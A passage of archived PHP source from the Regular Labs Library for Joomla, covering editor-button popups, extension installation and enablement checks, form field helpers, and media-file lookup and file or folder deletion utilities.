require_once $this->getDir() . '/helper.php';
$class_name = 'PlgButton' . ucfirst($this->_name) .
'Helper';
$this->_helper = new $class_name($this->_name, $params);
return $this->_helper;
}
public function extraChecks($params)
{
return true;
}
private function getDir()
{
// use static::class instead of get_class($this) after php 5.4 support is
dropped
$rc = new ReflectionClass(get_class($this));
return dirname($rc->getFileName());
}
private function getParams()
{
switch ($this->main_type)
{
case 'component':
if ( ! Protect::isComponentInstalled($this->_name))
{
return null;
}
// Load component parameters
return
Parameters::getInstance()->getComponentParams($this->_name);
case 'plugin':
default:
if ( ! Protect::isSystemPluginInstalled($this->_name))
{
return null;
}
// Load plugin parameters
return Parameters::getInstance()->getPluginParams($this->_name);
}
}
private function isInstalled()
{
$extensions = ! is_null($this->check_installed)
? $this->check_installed
: [$this->main_type];
return Extension::areInstalled($this->_name, $extensions);
}
}
src/EditorButtonPopup.php000064400000004046151167425550011531
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library;
defined('_JEXEC') or die;
use Exception;
use Joomla\CMS\Language\Text as JText;
use ReflectionClass;
/**
* Class EditorButtonPopup
* @package RegularLabs\Library
*/
class EditorButtonPopup
{
var $extension = '';
var $params = null;
var $require_core_auth = true;
public function __construct($extension)
{
$this->extension = $extension;
$this->params =
Parameters::getInstance()->getPluginParams($extension);
}
public function render()
{
if ( ! Extension::isAuthorised($this->require_core_auth))
{
throw new Exception(JText::_("ALERTNOTAUTH"));
}
if ( ! Extension::isEnabledInArea($this->params))
{
throw new Exception(JText::_("ALERTNOTAUTH"));
}
$this->loadLibraryLanguages();
$this->loadLibraryScriptsStyles();
$this->loadLanguages();
Document::style('regularlabs/popup.min.css');
$this->loadScripts();
$this->loadStyles();
echo $this->renderTemplate();
}
public function loadLanguages()
{
Language::load('plg_editors-xtd_' . $this->extension);
Language::load('plg_system_' . $this->extension);
}
public function loadScripts()
{
}
public function loadStyles()
{
}
private function loadLibraryLanguages()
{
Language::load('plg_system_regularlabs');
}
private function loadLibraryScriptsStyles()
{
Document::loadPopupDependencies();
}
private function renderTemplate()
{
ob_start();
include $this->getDir() . '/popup.tmpl.php';
$html = ob_get_contents();
ob_end_clean();
return $html;
}
private function getDir()
{
// use static::class instead of get_class($this) after php 5.4 support is
dropped
$rc = new ReflectionClass(get_class($this));
return dirname($rc->getFileName());
}
}
src/Extension.php000064400000033215151167425550010037 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library;
defined('_JEXEC') or die;
use Joomla\CMS\Component\ComponentHelper as JComponentHelper;
use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\Filesystem\Folder as JFolder;
use Joomla\CMS\Helper\ModuleHelper as JModuleHelper;
use Joomla\CMS\Installer\Installer as JInstaller;
use Joomla\CMS\Language\Text as JText;
use Joomla\CMS\Plugin\PluginHelper as JPluginHelper;
jimport('joomla.filesystem.file');
jimport('joomla.filesystem.folder');
/**
* Class Extension
* @package RegularLabs\Library
*/
class Extension
{
/**
* Get the full path to the extension folder
*
* @param string $extension
* @param string $basePath
* @param string $check_folder
*
* @return string
*/
public static function getPath($extension =
'plg_system_regularlabs', $basePath = JPATH_ADMINISTRATOR,
$check_folder = '')
{
$basePath = $basePath ?: JPATH_SITE;
if ( ! in_array($basePath, [JPATH_ADMINISTRATOR, JPATH_SITE]))
{
return $basePath;
}
$extension = str_replace('.sys', '', $extension);
switch (true)
{
case (strpos($extension, 'mod_') === 0):
$path = 'modules/' . $extension;
break;
case (strpos($extension, 'plg_') === 0):
list($prefix, $folder, $name) = explode('_', $extension, 3);
$path = 'plugins/' . $folder . '/' . $name;
break;
case (strpos($extension, 'com_') === 0):
default:
$path = 'components/' . $extension;
break;
}
$check_folder = $check_folder ? '/' . $check_folder :
'';
if (is_dir($basePath . '/' . $path . $check_folder))
{
return $basePath . '/' . $path;
}
if (is_dir(JPATH_ADMINISTRATOR . '/' . $path . $check_folder))
{
return JPATH_ADMINISTRATOR . '/' . $path;
}
if (is_dir(JPATH_SITE . '/' . $path . $check_folder))
{
return JPATH_SITE . '/' . $path;
}
return $basePath;
}
/**
* Check if all extension types of a given extension are installed
*
* @param string $extension
* @param array $types
*
* @return bool
*/
public static function areInstalled($extension, $types =
['plugin'])
{
foreach ($types as $type)
{
$folder = 'system';
if (is_array($type))
{
list($type, $folder) = $type;
}
if ( ! self::isInstalled($extension, $type, $folder))
{
return false;
}
}
return true;
}
/**
* Check if the given extension is installed
*
* @param string $extension
* @param string $type
* @param string $folder
*
* @return bool
*/
public static function isInstalled($extension, $type =
'component', $folder = 'system')
{
$extension = strtolower($extension);
switch ($type)
{
case 'component':
if (file_exists(JPATH_ADMINISTRATOR . '/components/com_' .
$extension . '/' . $extension . '.php')
|| file_exists(JPATH_ADMINISTRATOR . '/components/com_' .
$extension . '/admin.' . $extension . '.php')
|| file_exists(JPATH_SITE . '/components/com_' . $extension
. '/' . $extension . '.php')
)
{
if ($extension == 'cookieconfirm' &&
file_exists(JPATH_ADMINISTRATOR .
'/components/com_cookieconfirm/version.php'))
{
// Only Cookie Confirm 2.0.0.rc1 and above is supported, because
// previous versions don't have isCookiesAllowed()
require_once JPATH_ADMINISTRATOR .
'/components/com_cookieconfirm/version.php';
if (version_compare(COOKIECONFIRM_VERSION, '2.2.0.rc1',
'<'))
{
return false;
}
}
return true;
}
break;
case 'plugin':
return file_exists(JPATH_PLUGINS . '/' . $folder .
'/' . $extension . '/' . $extension .
'.php');
case 'module':
return (file_exists(JPATH_ADMINISTRATOR . '/modules/mod_' .
$extension . '/' . $extension . '.php')
|| file_exists(JPATH_ADMINISTRATOR . '/modules/mod_' .
$extension . '/mod_' . $extension . '.php')
|| file_exists(JPATH_SITE . '/modules/mod_' . $extension .
'/' . $extension . '.php')
|| file_exists(JPATH_SITE . '/modules/mod_' . $extension .
'/mod_' . $extension . '.php')
);
case 'library':
return JFolder::exists(JPATH_LIBRARIES . '/' . $extension);
}
return false;
}
/**
* Check if the Regular Labs Library is enabled
*
* @return bool
*/
public static function isEnabled($extension, $type =
'component', $folder = 'system')
{
$extension = strtolower($extension);
if ( ! self::isInstalled($extension, $type, $folder))
{
return false;
}
switch ($type)
{
case 'component':
return JComponentHelper::isEnabled($extension);
case 'plugin':
return JPluginHelper::isEnabled($folder, $extension);
case 'module':
return JModuleHelper::isEnabled($extension);
}
return false;
}
/**
* Check if the Regular Labs Library is enabled
*
* @return bool
*/
public static function isFrameworkEnabled()
{
return JPluginHelper::isEnabled('system',
'regularlabs');
}
/**
* Return an alias and element name based on the given extension name
*
* @param string $name
*
* @return array
*/
public static function getAliasAndElement(&$name)
{
$name = self::getNameByAlias($name);
$alias = self::getAliasByName($name);
$element = self::getElementByAlias($alias);
return [$alias, $element];
}
/**
* Return the name based on the given extension alias
*
* @param string $alias
*
* @return string
*/
public static function getNameByAlias($alias)
{
// Alias is a language string
if (strpos($alias, ' ') === false && strtoupper($alias)
== $alias)
{
return JText::_($alias);
}
// Alias has a space and/or capitals, so is already a name
if (strpos($alias, ' ') !== false || $alias !==
strtolower($alias))
{
return $alias;
}
return JText::_(self::getXMLValue('name', $alias));
}
/**
* Return an alias based on the given extension name
*
* @param string $name
*
* @return string
*/
public static function getAliasByName($name)
{
$alias = RegEx::replace('[^a-z0-9]', '',
strtolower($name));
switch ($alias)
{
case 'advancedmodules':
return 'advancedmodulemanager';
case 'advancedtemplates':
return 'advancedtemplatemanager';
case 'nonumbermanager':
return 'nonumberextensionmanager';
case 'what-nothing':
return 'whatnothing';
}
return $alias;
}
/**
* Return an element name based on the given extension alias
*
* @param string $alias
*
* @return string
*/
public static function getElementByAlias($alias)
{
$alias = self::getAliasByName($alias);
switch ($alias)
{
case 'advancedmodulemanager':
return 'advancedmodules';
case 'advancedtemplatemanager':
return 'advancedtemplates';
case 'nonumberextensionmanager':
return 'nonumbermanager';
}
return $alias;
}
/**
* Return a value from an extensions main xml file based on the given key
*
* @param string $key
* @param string $alias
* @param string $type
* @param string $folder
*
* @return string
*/
public static function getXMLValue($key, $alias, $type = '',
$folder = '')
{
if ( ! $xml = self::getXML($alias, $type, $folder))
{
return '';
}
if ( ! isset($xml[$key]))
{
return '';
}
return isset($xml[$key]) ? $xml[$key] : '';
}
/**
* Return an extensions main xml array
*
* @param string $alias
* @param string $type
* @param string $folder
*
* @return array|bool
*/
public static function getXML($alias, $type = '', $folder =
'')
{
if ( ! $file = self::getXMLFile($alias, $type, $folder))
{
return false;
}
return JInstaller::parseXMLInstallFile($file);
}
/**
* Return an extensions main xml file name (including path)
*
* @param string $alias
* @param string $type
* @param string $folder
*
* @return string
*/
public static function getXMLFile($alias, $type = '', $folder =
'')
{
$element = self::getElementByAlias($alias);
$files = [];
// Components
if (empty($type) || $type == 'component')
{
$files[] = JPATH_ADMINISTRATOR . '/components/com_' . $element
. '/' . $element . '.xml';
$files[] = JPATH_SITE . '/components/com_' . $element .
'/' . $element . '.xml';
$files[] = JPATH_ADMINISTRATOR . '/components/com_' . $element
. '/com_' . $element . '.xml';
$files[] = JPATH_SITE . '/components/com_' . $element .
'/com_' . $element . '.xml';
}
// Plugins
if (empty($type) || $type == 'plugin')
{
if ( ! empty($folder))
{
$files[] = JPATH_PLUGINS . '/' . $folder . '/' .
$element . '/' . $element . '.xml';
}
// System Plugins
$files[] = JPATH_PLUGINS . '/system/' . $element .
'/' . $element . '.xml';
// Editor Button Plugins
$files[] = JPATH_PLUGINS . '/editors-xtd/' . $element .
'/' . $element . '.xml';
// Field Plugins
$field_name = RegEx::replace('field$', '',
$element);
$files[] = JPATH_PLUGINS . '/fields/' . $field_name .
'/' . $field_name . '.xml';
}
// Modules
if (empty($type) || $type == 'module')
{
$files[] = JPATH_ADMINISTRATOR . '/modules/mod_' . $element .
'/' . $element . '.xml';
$files[] = JPATH_SITE . '/modules/mod_' . $element .
'/' . $element . '.xml';
$files[] = JPATH_ADMINISTRATOR . '/modules/mod_' . $element .
'/mod_' . $element . '.xml';
$files[] = JPATH_SITE . '/modules/mod_' . $element .
'/mod_' . $element . '.xml';
}
foreach ($files as $file)
{
if ( ! file_exists($file))
{
continue;
}
return $file;
}
return '';
}
public static function isAuthorised($require_core_auth = true)
{
$user = JFactory::getUser();
if ($user->get('guest'))
{
return false;
}
if ( ! $require_core_auth)
{
return true;
}
if (
! $user->authorise('core.edit', 'com_content')
&& ! $user->authorise('core.edit.own',
'com_content')
&& ! $user->authorise('core.create',
'com_content')
)
{
return false;
}
return true;
}
public static function isEnabledInArea($params)
{
if ( ! isset($params->enable_frontend))
{
return true;
}
// Only allow in frontend
if ($params->enable_frontend == 2 &&
Document::isClient('administrator'))
{
return false;
}
// Do not allow in frontend
if ( ! $params->enable_frontend &&
Document::isClient('site'))
{
return false;
}
return true;
}
public static function isEnabledInComponent($params)
{
if ( ! isset($params->disabled_components))
{
return true;
}
return ! Protect::isRestrictedComponent($params->disabled_components);
}
public static function getById($id)
{
$db = JFactory::getDbo();
$query = $db->getQuery(true)
->select($db->quoteName(['extension_id',
'manifest_cache']))
->from($db->quoteName('#__extensions'))
->where($db->quoteName('extension_id') . ' = '
. (int) $id);
$db->setQuery($query);
return $db->loadObject();
}
public static function disable($alias, $type = 'plugin', $folder
= 'system')
{
$element = self::getElementByAlias($alias);
switch ($type)
{
case 'module':
$element = 'mod_' . $element;
break;
case 'component':
$element = 'com_' . $element;
break;
}
$db = JFactory::getDbo();
$query = $db->getQuery(true)
->update($db->quoteName('#__extensions'))
->set($db->quoteName('enabled') . ' = 0')
->where($db->quoteName('element') . ' = ' .
$db->quote($element))
->where($db->quoteName('type') . ' = ' .
$db->quote($type));
if ($type == 'plugin')
{
$query->where($db->quoteName('folder') . ' = '
. $db->quote($folder));
}
$db->setQuery($query);
$db->execute();
}
public static function orderPluginFirst($name, $folder =
'system')
{
$db = JFactory::getDbo();
$query = $db->getQuery(true)
->select(['e.ordering'])
->from($db->quoteName('#__extensions', 'e'))
->where('e.type = ' . $db->quote('plugin'))
->where('e.folder = ' . $db->quote($folder))
->where('e.element = ' . $db->quote($name));
$db->setQuery($query);
$current_ordering = $db->loadResult();
if ($current_ordering == '')
{
return;
}
$query = $db->getQuery(true)
->select('e.ordering')
->from($db->quoteName('#__extensions', 'e'))
->where('e.type = ' . $db->quote('plugin'))
->where('e.folder = ' . $db->quote($folder))
->where('e.manifest_cache LIKE ' .
$db->quote('%"author":"Regular Labs%'))
->where('e.element != ' . $db->quote($name))
->order('e.ordering ASC');
$db->setQuery($query);
$min_ordering = $db->loadResult();
if ($min_ordering == '')
{
return;
}
if ($current_ordering < $min_ordering)
{
return;
}
if ($min_ordering < 1 || $current_ordering == $min_ordering)
{
$new_ordering = max($min_ordering, 1);
$query = $db->getQuery(true)
->update($db->quoteName('#__extensions'))
->set($db->quoteName('ordering') . ' = ' .
$new_ordering)
->where($db->quoteName('ordering') . ' = ' .
$min_ordering)
->where($db->quoteName('type') . ' = ' .
$db->quote('plugin'))
->where($db->quoteName('folder') . ' = ' .
$db->quote($folder))
->where($db->quoteName('element') . ' != ' .
$db->quote($name))
->where($db->quoteName('manifest_cache') . ' LIKE
' . $db->quote('%"author":"Regular
Labs%'));
$db->setQuery($query);
$db->execute();
$min_ordering = $new_ordering;
}
if ($current_ordering == $min_ordering)
{
return;
}
$new_ordering = $min_ordering - 1;
$query = $db->getQuery(true)
->update($db->quoteName('#__extensions'))
->set($db->quoteName('ordering') . ' = ' .
$new_ordering)
->where($db->quoteName('type') . ' = ' .
$db->quote('plugin'))
->where($db->quoteName('folder') . ' = ' .
$db->quote($folder))
->where($db->quoteName('element') . ' = ' .
$db->quote($name));
$db->setQuery($query);
$db->execute();
}
}
src/Field.php000064400000020033151167425550007100 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library;
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\Form\Form as JForm;
use Joomla\CMS\HTML\HTMLHelper as JHtml;
use Joomla\CMS\Language\Text as JText;
/**
* Class Field
* @package RegularLabs\Library
*/
class Field
extends \JFormField
{
/**
* @var string
*/
public $type = 'Field';
/**
* @var \JDatabaseDriver|null
*/
public $db = null;
/**
* @var int
*/
public $max_list_count = 0;
/**
* @var null
*/
public $params = null;
public $context = 'com_content.article';
/**
* @param JForm $form
*/
public function __construct($form = null)
{
parent::__construct($form);
$this->db = JFactory::getDbo();
$params =
Parameters::getInstance()->getPluginParams('regularlabs');
$this->max_list_count = $params->max_list_count;
Document::loadFormDependencies();
Document::stylesheet('regularlabs/style.min.css');
}
public function setup(\SimpleXMLElement $element, $value, $group = null)
{
$this->params = $element->attributes();
return parent::setup($element, $value, $group);
}
/**
* Return the field input markup
* Return empty by default
*
* @return string
*/
protected function getInput()
{
return '';
}
/**
* Return the field options (array)
* Overrules the Joomla core functionality
*
* @return array
*/
protected function getOptions()
{
// This only returns 1 option!!!
if (empty($this->element->option))
{
return [];
}
$option = $this->element->option;
$fieldname = RegEx::replace('[^a-z0-9_\-]', '_',
$this->fieldname);
$value = (string) $option['value'];
$text = trim((string) $option) ? trim((string) $option) : $value;
return [
[
'value' => $value,
'text' => '- ' . JText::alt($text, $fieldname)
. ' -',
],
];
}
public static function selectList(&$options, $name, $value, $id, $size
= 0, $multiple = false, $simple = false)
{
return Form::selectlist($options, $name, $value, $id, $size, $multiple,
$simple);
}
public static function selectListSimple(&$options, $name, $value, $id,
$size = 0, $multiple = false)
{
return Form::selectListSimple($options, $name, $value, $id, $size,
$multiple);
}
public static function selectListAjax($field, $name, $value, $id,
$attributes = [], $simple = false)
{
return Form::selectListAjax($field, $name, $value, $id, $attributes,
$simple);
}
public static function selectListSimpleAjax($field, $name, $value, $id,
$attributes = [])
{
return Form::selectListSimpleAjax($field, $name, $value, $id,
$attributes);
}
/**
* Get a value from the field params
*
* @param string $key
* @param string $default
*
* @return bool|string
*/
public function get($key, $default = '')
{
$value = $default;
if (isset($this->params[$key]) && (string)
$this->params[$key] != '')
{
$value = (string) $this->params[$key];
}
if ($value === 'true')
{
return true;
}
if ($value === 'false')
{
return false;
}
return $value;
}
/**
* Return a array of options using the custom prepare methods
*
* @param array $list
* @param array $extras
* @param int $levelOffset
*
* @return array
*/
function getOptionsByList($list, $extras = [], $levelOffset = 0)
{
$options = [];
foreach ($list as $id => $item)
{
$options[$id] = $this->getOptionByListItem($item, $extras,
$levelOffset);
}
return $options;
}
/**
* Return a list option using the custom prepare methods
*
* @param object $item
* @param array $extras
* @param int $levelOffset
*
* @return mixed
*/
function getOptionByListItem($item, $extras = [], $levelOffset = 0)
{
$name = trim($item->name);
foreach ($extras as $key => $extra)
{
if (empty($item->{$extra}))
{
continue;
}
if ($extra == 'language' && $item->{$extra} ==
'*')
{
continue;
}
if (in_array($extra, ['id', 'alias']) &&
$item->{$extra} == $item->name)
{
continue;
}
$name .= ' [' . $item->{$extra} . ']';
}
$name = Form::prepareSelectItem($name, isset($item->published) ?
$item->published : 1);
$option = JHtml::_('select.option', $item->id, $name,
'value', 'text', 0);
if (isset($item->level))
{
$option->level = $item->level + $levelOffset;
}
return $option;
}
/**
* Return a recursive options list using the custom prepare methods
*
* @param array $items
* @param int $root
*
* @return array
*/
function getOptionsTreeByList($items = [], $root = 0)
{
// establish the hierarchy of the menu
// TODO: use node model
$children = [];
if ( ! empty($items))
{
// first pass - collect children
foreach ($items as $v)
{
$pt = $v->parent_id;
$list = @$children[$pt] ? $children[$pt] : [];
array_push($list, $v);
$children[$pt] = $list;
}
}
// second pass - get an indent list of the items
$list = JHtml::_('menu.treerecurse', $root, '', [],
$children, 9999, 0, 0);
// assemble items to the array
$options = [];
if ($this->get('show_ignore'))
{
if (in_array('-1', $this->value))
{
$this->value = ['-1'];
}
$options[] = JHtml::_('select.option', '-1', '-
' . JText::_('RL_IGNORE') . ' -',
'value', 'text', 0);
$options[] = JHtml::_('select.option', '-',
' ', 'value', 'text', 1);
}
foreach ($list as $item)
{
$item->treename = Form::prepareSelectItem($item->treename,
isset($item->published) ? $item->published : 1, '', 1);
$options[] = JHtml::_('select.option', $item->id,
$item->treename, 'value', 'text', 0);
}
return $options;
}
/**
* Prepare the option string, handling language strings
*
* @param string $string
*
* @return string
*/
public function prepareText($string = '')
{
$string = trim($string);
if ($string == '')
{
return '';
}
switch (true)
{
// Old fields using var attributes
case (JText::_($this->get('var1'))):
$string = $this->sprintf_old($string);
break;
// Normal language string
default:
$string = JText::_($string);
}
return $this->fixLanguageStringSyntax($string);
}
/**
* Fix some syntax/encoding issues in option text strings
*
* @param string $string
*
* @return string
*/
private function fixLanguageStringSyntax($string = '')
{
$string = str_replace('[:COMMA:]', ',', $string);
$string = trim(StringHelper::html_entity_decoder($string));
$string = str_replace('"', '"',
$string);
$string = str_replace('span
style="font-family:monospace;"', 'span
class="rl_code"', $string);
return $string;
}
/**
* Replace language strings in a string
*
* @param string $string
*
* @return string
*/
private function sprintf($string = '')
{
$string = trim($string);
if (strpos($string, ',') === false)
{
return $string;
}
$string_parts = explode(',', $string);
$first_part = array_shift($string_parts);
if ($first_part === strtoupper($first_part))
{
$first_part = JText::_($first_part);
}
$first_part = RegEx::replace('\[\[%([0-9]+):[^\]]*\]\]',
'%\1$s', $first_part);
array_walk($string_parts, '\RegularLabs\Library\Field::jText');
return vsprintf($first_part, $string_parts);
}
/**
* Passes along to the JText method.
* This is used for the array_walk in the sprintf method above.
*
* @param $string
*/
public function jText(&$string)
{
$string = JText::_($string);
}
/**
* Replace language strings in an old syntax string
*
* @param string $string
*
* @return string
*/
private function sprintf_old($string = '')
{
// variables
$var1 = JText::_($this->get('var1'));
$var2 = JText::_($this->get('var2'));
$var3 = JText::_($this->get('var3'));
$var4 = JText::_($this->get('var4'));
$var5 = JText::_($this->get('var5'));
return JText::sprintf(JText::_(trim($string)), $var1, $var2, $var3,
$var4, $var5);
}
}
src/FieldGroup.php000064400000006176151167425550010131 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library;
defined('_JEXEC') or die;
use Joomla\CMS\Language\Text as JText;
use Joomla\Registry\Registry;
class FieldGroup
extends Field
{
public $type = 'Field';
public $default_group = 'Categories';
protected function getInput()
{
$this->params = $this->element->attributes();
return $this->getSelectList();
}
public function getGroup()
{
$this->params = $this->element->attributes();
return $this->get('group', $this->default_group ?:
$this->type);
}
public function getOptions($group = false)
{
$group = $group ?: $this->getGroup();
$id = $this->type . '_' . $group;
if ( ! isset($data[$id]))
{
$data[$id] = $this->{'get' . $group}();
}
return $data[$id];
}
public function getSelectList($group = '')
{
if ( ! is_array($this->value))
{
$this->value = explode(',', $this->value);
}
$size = (int) $this->get('size');
$multiple = $this->get('multiple');
$show_ignore = $this->get('show_ignore');
$group = $group ?: $this->getGroup();
$simple = $this->get('simple', ! in_array($group,
['categories']));
return $this->selectListAjax(
$this->type, $this->name, $this->value, $this->id,
compact('group', 'size', 'multiple',
'simple', 'show_ignore'),
$simple
);
}
function getAjaxRaw(Registry $attributes)
{
$this->params = $attributes;
$name = $attributes->get('name', $this->type);
$id = $attributes->get('id', strtolower($name));
$value = $attributes->get('value', []);
$size = $attributes->get('size');
$multiple = $attributes->get('multiple');
$simple = $attributes->get('simple');
$options = $this->getOptions(
$attributes->get('group')
);
return $this->selectList($options, $name, $value, $id, $size,
$multiple, $simple);
}
public function missingFilesOrTables($tables = ['categories',
'items'], $component = '', $table_prefix =
'')
{
$component = $component ?: $this->type;
if ( ! Extension::isInstalled($component))
{
return '<fieldset class="alert alert-danger">'
. JText::_('ERROR') . ': ' .
JText::sprintf('RL_FILES_NOT_FOUND', JText::_('RL_' .
strtoupper($component))) . '</fieldset>';
}
$group = $this->getGroup();
if ( ! in_array($group, $tables) && ! in_array($group,
array_keys($tables)))
{
// no need to check database table for this group
return false;
}
$table_list = $this->db->getTableList();
$table = isset($tables[$group]) ? $tables[$group] : $group;
$table = $this->db->getPrefix() . strtolower($table_prefix ?:
$component) . '_' . $table;
if (in_array($table, $table_list))
{
// database table exists, so no error
return false;
}
return '<fieldset class="alert alert-danger">'
. JText::_('ERROR') . ': ' .
JText::sprintf('RL_TABLE_NOT_FOUND', JText::_('RL_' .
strtoupper($component))) . '</fieldset>';
}
}
src/File.php000064400000027333151167425550006746 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library;
defined('_JEXEC') or die;
use Joomla\CMS\Client\ClientHelper as JClientHelper;
use Joomla\CMS\Client\FtpClient as JFtpClient;
use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\Filesystem\Folder as JFolder;
use Joomla\CMS\Filesystem\Path as JPath;
use Joomla\CMS\Language\Text as JText;
use Joomla\CMS\Log\Log as JLog;
use Joomla\CMS\Uri\Uri as JUri;
/**
* Class File
* @package RegularLabs\Library
*/
class File
{
/**
* Find a matching media file in the different possible extension media
folders for given type
*
* @param string $type (css/js/...)
* @param string $file
*
* @return bool|string
*/
public static function getMediaFile($type, $file)
{
// If http is present in filename
if (strpos($file, 'http') === 0 || strpos($file,
'//') === 0)
{
return $file;
}
$files = [];
// Detect debug mode
if (JFactory::getConfig()->get('debug') ||
JFactory::getApplication()->input->get('debug'))
{
$files[] = str_replace(['.min.', '-min.'],
'.', $file);
}
$files[] = $file;
/*
* Loop on 1 or 2 files and break on first find.
* Add the content of the MD5SUM file located in the same folder to url
to ensure cache browser refresh
* This MD5SUM file must represent the signature of the folder content
*/
foreach ($files as $check_file)
{
$file_found = self::findMediaFileByFile($check_file, $type);
if ( ! $file_found)
{
continue;
}
return $file_found;
}
return false;
}
/**
* Find a matching media file in the different possible extension media
folders for given type
*
* @param string $file
* @param string $type (css/js/...)
*
* @return bool|string
*/
private static function findMediaFileByFile($file, $type)
{
$template = JFactory::getApplication()->getTemplate();
// If the file is in the template folder
$file_found = self::getFileUrl('/templates/' . $template .
'/' . $type . '/' . $file);
if ($file_found)
{
return $file_found;
}
// Try to deal with system files in the media folder
if (strpos($file, '/') === false)
{
$file_found = self::getFileUrl('/media/system/' . $type .
'/' . $file);
if ( ! $file_found)
{
return false;
}
return $file_found;
}
$paths = [];
// If the file contains any /: it can be in a media extension subfolder
// Divide the file extracting the extension as the first part before /
list($extension, $file) = explode('/', $file, 2);
$paths[] = '/media/' . $extension . '/' . $type;
$paths[] = '/templates/' . $template . '/' . $type .
'/system';
$paths[] = '/media/system/' . $type;
foreach ($paths as $path)
{
$file_found = self::getFileUrl($path . '/' . $file);
if ( ! $file_found)
{
continue;
}
return $file_found;
}
return false;
}
/**
* Get the url for the file
*
* @param string $path
*
* @return bool|string
*/
private static function getFileUrl($path)
{
if ( ! file_exists(JPATH_ROOT . $path))
{
return false;
}
return JUri::root(true) . $path;
}
/**
* Delete a file or array of files
*
* @param mixed $file The file name or an array of file
names
* @param boolean $show_messages Whether or not to show error
messages
* @param int $min_age_in_minutes Minimum last modified age in minutes
*
* @return boolean True on success
*
* @since 11.1
*/
public static function delete($file, $show_messages = false,
$min_age_in_minutes = 0)
{
$FTPOptions = JClientHelper::getCredentials('ftp');
$pathObject = new JPath;
$files = is_array($file) ? $file : [$file];
if ($FTPOptions['enabled'] == 1)
{
// Connect the FTP client
$ftp = JFtpClient::getInstance($FTPOptions['host'],
$FTPOptions['port'], [], $FTPOptions['user'],
$FTPOptions['pass']);
}
foreach ($files as $file)
{
$file = $pathObject->clean($file);
if ( ! is_file($file))
{
continue;
}
if ($min_age_in_minutes && floor((time() - filemtime($file)) /
60) < $min_age_in_minutes)
{
continue;
}
// Try making the file writable first. If it's read-only, it
can't be deleted
// on Windows, even if the parent folder is writable
@chmod($file, 0777);
if ($FTPOptions['enabled'] == 1)
{
$file = $pathObject->clean(str_replace(JPATH_ROOT,
$FTPOptions['root'], $file), '/');
if ( ! $ftp->delete($file))
{
// FTP connector throws an error
return false;
}
}
// Try the unlink twice in case something was blocking it on first try
if ( ! @unlink($file) && ! @unlink($file))
{
$show_messages &&
JLog::add(JText::sprintf('JLIB_FILESYSTEM_DELETE_FAILED',
basename($file)), JLog::WARNING, 'jerror');
return false;
}
}
return true;
}
/**
* Delete a folder.
*
* @param string $path The path to the folder to delete.
* @param boolean $show_messages Whether or not to show error
messages
* @param int $min_age_in_minutes Minimum last modified age in minutes
*
* @return boolean True on success.
*/
public static function deleteFolder($path, $show_messages = false,
$min_age_in_minutes = 0)
{
@set_time_limit(ini_get('max_execution_time'));
$pathObject = new JPath;
if ( ! $path)
{
$show_messages && JLog::add(__METHOD__ . ': ' .
JText::_('JLIB_FILESYSTEM_ERROR_DELETE_BASE_DIRECTORY'),
JLog::WARNING, 'jerror');
return false;
}
// Check to make sure the path valid and clean
$path = $pathObject->clean($path);
if ( ! is_dir($path))
{
$show_messages &&
JLog::add(JText::sprintf('JLIB_FILESYSTEM_ERROR_PATH_IS_NOT_A_FOLDER',
$path), JLog::WARNING, 'jerror');
return false;
}
// Remove all the files in folder if they exist; disable all filtering
$files = JFolder::files($path, '.', false, true, [], []);
if ( ! empty($files))
{
if (self::delete($files, $show_messages, $min_age_in_minutes) !== true)
{
// JFile::delete throws an error
return false;
}
}
// Remove sub-folders of folder; disable all filtering
$folders = JFolder::folders($path, '.', false, true, [], []);
foreach ($folders as $folder)
{
if (is_link($folder))
{
// Don't descend into linked directories, just delete the link.
if (self::delete($folder, $show_messages, $min_age_in_minutes) !==
true)
{
return false;
}
continue;
}
if ( ! self::deleteFolder($folder, $show_messages, $min_age_in_minutes))
{
return false;
}
}
// Skip if folder is not empty yet
if ( ! empty(JFolder::files($path, '.', false, true, [], []))
|| ! empty(JFolder::folders($path, '.', false, true, [], [])))
{
return true;
}
if (@rmdir($path))
{
return true;
}
$FTPOptions = JClientHelper::getCredentials('ftp');
if ($FTPOptions['enabled'] == 1)
{
// Connect the FTP client
$ftp = JFtpClient::getInstance($FTPOptions['host'],
$FTPOptions['port'], [], $FTPOptions['user'],
$FTPOptions['pass']);
// Translate path and delete
$path = $pathObject->clean(str_replace(JPATH_ROOT,
$FTPOptions['root'], $path), '/');
// FTP connector throws an error
return $ftp->delete($path);
}
if ( ! @rmdir($path))
{
$show_messages &&
JLog::add(JText::sprintf('JLIB_FILESYSTEM_ERROR_FOLDER_DELETE',
$path), JLog::WARNING, 'jerror');
return false;
}
return true;
}
public static function trimFolder($folder)
{
return trim(str_replace(['\\', '//'], '/',
$folder), '/');
}
public static function isInternal($url)
{
return ! self::isExternal($url);
}
public static function isExternal($url)
{
if (strpos($url, '://') === false)
{
return false;
}
// hostname: give preference to SERVER_NAME, because this includes
subdomains
$hostname = ($_SERVER['SERVER_NAME']) ?
$_SERVER['SERVER_NAME'] : $_SERVER['HTTP_HOST'];
